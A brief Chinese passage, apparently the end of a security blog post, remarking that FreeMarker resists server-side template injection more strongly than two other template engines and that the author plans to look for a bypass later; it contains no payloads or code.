比較其他兩個模板引擎來說,FreeMarker 的 SSTI 更為嚴格一些,它的防護也做的相當有力,這個給自己挖個小坑吧,后續去看一看 FreeMarker 的代碼當中是否存在強而有力的 bypass payload。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。